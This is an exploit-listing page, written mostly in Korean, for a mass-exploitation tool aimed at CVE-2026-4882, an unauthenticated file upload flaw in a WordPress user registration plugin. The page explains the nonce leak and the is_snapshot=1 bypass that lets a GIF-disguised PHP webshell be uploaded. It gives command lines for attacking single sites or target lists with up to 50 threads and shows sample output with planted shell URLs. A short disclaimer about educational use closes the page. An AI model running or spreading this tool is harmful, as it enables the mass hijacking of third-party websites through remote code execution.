Sploitus

Exploit for CVE-2026-4882

kitploit Β· 2026-08-24

Exploit Code

MARKDOWN88 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-XSHADOW-HERE-CVE-2026-4882
# CVE-2026-4882

User Registration Advanced Fields <= 1.6.20 - 인증 없이 μž„μ˜ 파일 μ—…λ‘œλ“œ

### μ„€λͺ… :

User Registration Advanced Fields <= 1.6.20 - 인증 없이 μž„μ˜ 파일 μ—…λ‘œλ“œ μ„€λͺ… WordPress용 User Registration Advanced Fields ν”ŒλŸ¬κ·ΈμΈ(1.6.20 μ΄ν•˜ 버전)은 `uraf_profile_picture_upload_method_upload` AJAX μ•‘μ…˜μ„ 톡해 μΈμ¦λ˜μ§€ μ•Šμ€ μž„μ˜ 파일 μ—…λ‘œλ“œμ— μ·¨μ•½ν•©λ‹ˆλ‹€. 이 ν”ŒλŸ¬κ·ΈμΈμ€ 등둝 양식이 ν¬ν•¨λœ λͺ¨λ“  νŽ˜μ΄μ§€μ—μ„œ `wp_localize_script()`λ₯Ό 톡해 μœ νš¨ν•œ nonceλ₯Ό λ…ΈμΆœν•˜λ©°, `is_snapshot=1` νŒŒλΌλ―Έν„°λ₯Ό μ‚¬μš©ν•˜λ©΄ 파일 ν™•μž₯자 검증을 μ™„μ „νžˆ μš°νšŒν•©λ‹ˆλ‹€. 이λ₯Ό 톡해 μΈμ¦λ˜μ§€ μ•Šμ€ κ³΅κ²©μžλŠ” μž„μ˜ 파일(예: GIF μ΄λ―Έμ§€λ‘œ μœ„μž₯ν•œ PHP μ›Ήμ‰˜)을 μ—…λ‘œλ“œν•  수 있으며, ν•΄λ‹Ή νŒŒμΌμ€ `wp-content/uploads/user_registration_uploads/temp-uploads/`에 μ €μž₯λ˜μ–΄ μ™„μ „ν•œ 원격 μ½”λ“œ μ‹€ν–‰(RCE)으둜 μ΄μ–΄μ§‘λ‹ˆλ‹€.

# 정보 : **CVE-2026-4882**

~ **CVSS 점수: 9.8 (치λͺ…적)**

~ **영ν–₯λ°›λŠ” 버전: <= 1.6.20**

  * 연ꡬ원 : **0xd4rk5id3 - EnvoraSec**



### μ‚¬μš©λ²•:

**단일 λŒ€μƒ:**

  * `python3 shadow.py -u https://target.com -s shadow.php`



**λŒ€λŸ‰ λŒ€μƒ:**

  * `python3 shadow.py -f targets.txt -s shadow.php -t 30`



**λŒ€ν™”ν˜• λͺ¨λ“œ:**

  * `python3 shadow.py`
  * λŒ€μƒ 파일 이름 μž…λ ₯
  * μŠ€λ ˆλ“œ 1-50 μ΅œλŒ€ μž…λ ₯



### κΈ°λŠ₯:

  * λ©€ν‹°μŠ€λ ˆλ”©
  * 였λ₯˜ 처리
  * μžλ™ Nonce + Form ID 탐색
  * ν™ˆνŽ˜μ΄μ§€ 및 μ‚¬μ΄νŠΈλ§΅ 크둀링 (μ‚¬μš©μž μ •μ˜ 등둝 경둜)
  * 무차별 λŒ€μž… Form ID 폴백
  * μžλ™ HTTP/HTTPS λ¦¬λ‹€μ΄λ ‰νŠΈ 해석
  * GIF89a 폴리글둯 μ…Έ μ—…λ‘œλ“œ
  * μ…Έ 검증
  * κ²°κ³Όλ₯Ό shell.txt에 μžλ™ μ €μž₯



### 좜λ ₯:

root@kitploit:~
    
    
    ╔══════════════════════════════════════════════════╗
    β•‘   CVE-2026-4882 β€” Full Auto Exploit              β•‘
    β•‘   User Registration Advanced Fields <= 1.6.20    β•‘
    β•‘   by: Shadow x Friska 😈πŸ”₯                      β•‘
    β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•
    
      ═══ Interactive Mode ═══
    
      πŸ“„ Target file (e.g. targets.txt): list.txt
      ⚑ Threads 1-50 (default 30): 30
    
      🎯 Targets : 75
      πŸ“ Shell   : shadow.php
      ⚑ Threads : 30
      πŸ’£ Brute   : 1-500
    
      🩷 [3/75] http://target.com
         β†’ http://target.com/wp-content/uploads/user_registration_uploads/temp-uploads/shadow.php
      πŸ’€ [1/75] http://example.com β€” no nonce
      ❌ [4/75] http://example2.com β€” upload failed
    
    

## λ©΄μ±… μ‘°ν•­:

## 이 λ„κ΅¬λŠ” ꡐ윑 및 λ³΄μ•ˆ ν…ŒμŠ€νŠΈ λͺ©μ μœΌλ‘œλ§Œ μ‚¬μš©λ©λ‹ˆλ‹€.

μ†Œμœ ν•˜μ§€ μ•Šμ•˜κ±°λ‚˜ ν…ŒμŠ€νŠΈ κΆŒν•œμ΄ μ—†λŠ” μ‹œμŠ€ν…œμ— λŒ€ν•œ 무단 μ‚¬μš©μ€ λΆˆλ²•μž…λ‹ˆλ‹€.